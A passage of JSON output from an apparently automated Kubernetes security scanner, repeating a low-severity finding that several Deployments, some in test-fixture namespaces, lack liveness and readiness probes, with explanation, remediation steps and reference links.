      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:flat-network:unmatched:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/flat-network/unmatched` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/flat-network/unmatched` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/unmatched` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:foothold-fixtures:foothold-priv-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/foothold-fixtures/foothold-priv-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-priv-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-priv-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/foothold-priv-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:foothold-fixtures:foothold-quiet-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/foothold-fixtures/foothold-quiet-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-quiet-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-quiet-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/foothold-quiet-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:gw-workloads:gw-web:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/gw-workloads/gw-web` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/gw-workloads/gw-web` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "gw-web",
      "namespace": "gw-workloads",
      "api_group": "apps"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/gw-workloads/gw-web`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/gw-web` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:hookbackend-fixtures:hookbackend-injector:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/hookbackend-fixtures/hookbackend-injector` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/hookbackend-fixtures/hookbackend-injector` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/hookbackend-injector` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:imgswap-fixtures:imgswap-reader-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/imgswap-fixtures/imgswap-reader-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/imgswap-fixtures/imgswap-reader-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures",
      "api_group": "apps"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/imgswap-reader-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:ingress-only:ingress-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/ingress-only/ingress-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/ingress-only/ingress-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/ingress-only/ingress-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
